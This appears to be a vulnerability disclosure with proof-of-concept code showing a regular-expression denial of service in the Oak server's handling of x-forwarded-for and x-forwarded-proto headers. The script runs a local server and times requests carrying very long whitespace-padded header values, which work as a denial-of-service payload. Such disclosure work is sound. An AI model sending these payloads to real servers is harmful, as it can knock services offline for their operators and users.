Oak Server has ReDoS in x-forwarded-proto and x-forwarded-for headers

import { Application } from "https://deno.land/x/oak/mod.ts";

const app = new Application({proxy: true});

let i = 1

app.use((ctx) => {

    // let url = ctx.request.url   // test1) x-forwarded-proto
    let ips = ctx.request.ips   // test2) x-forwarded-for
    console.log(`request ${i} received`)
    i++;
    ctx.response.body = "hello";
});

await app.listen({ port: 8080 });

const lengths = [2000, 4000, 8000, 16000, 32000, 64000, 128000]

const data1 = lengths.map(l => 'A' + 'A'.repeat(l) + 'A');
const data2 = lengths.map(l => 'A' + ' '.repeat(l) + 'A');

async function run(data) {
    for (let i = 0; i < data.length; i++) {
        let d = data[i];
        
        const start = performance.now();

        await fetch("http://localhost:8080", {
            headers: {
                // "x-forwarded-proto": d,  // test1)
                "x-forwarded-for": d,    // test2)
            },
        });

        const end = performance.now();
        console.log('length=%d, time=%d ms', d.length, end - start);
    }
}

console.log("\n[+] Test normal behavior")
await run(data1)
console.log("\n[+] Test payloads")
await run(data2)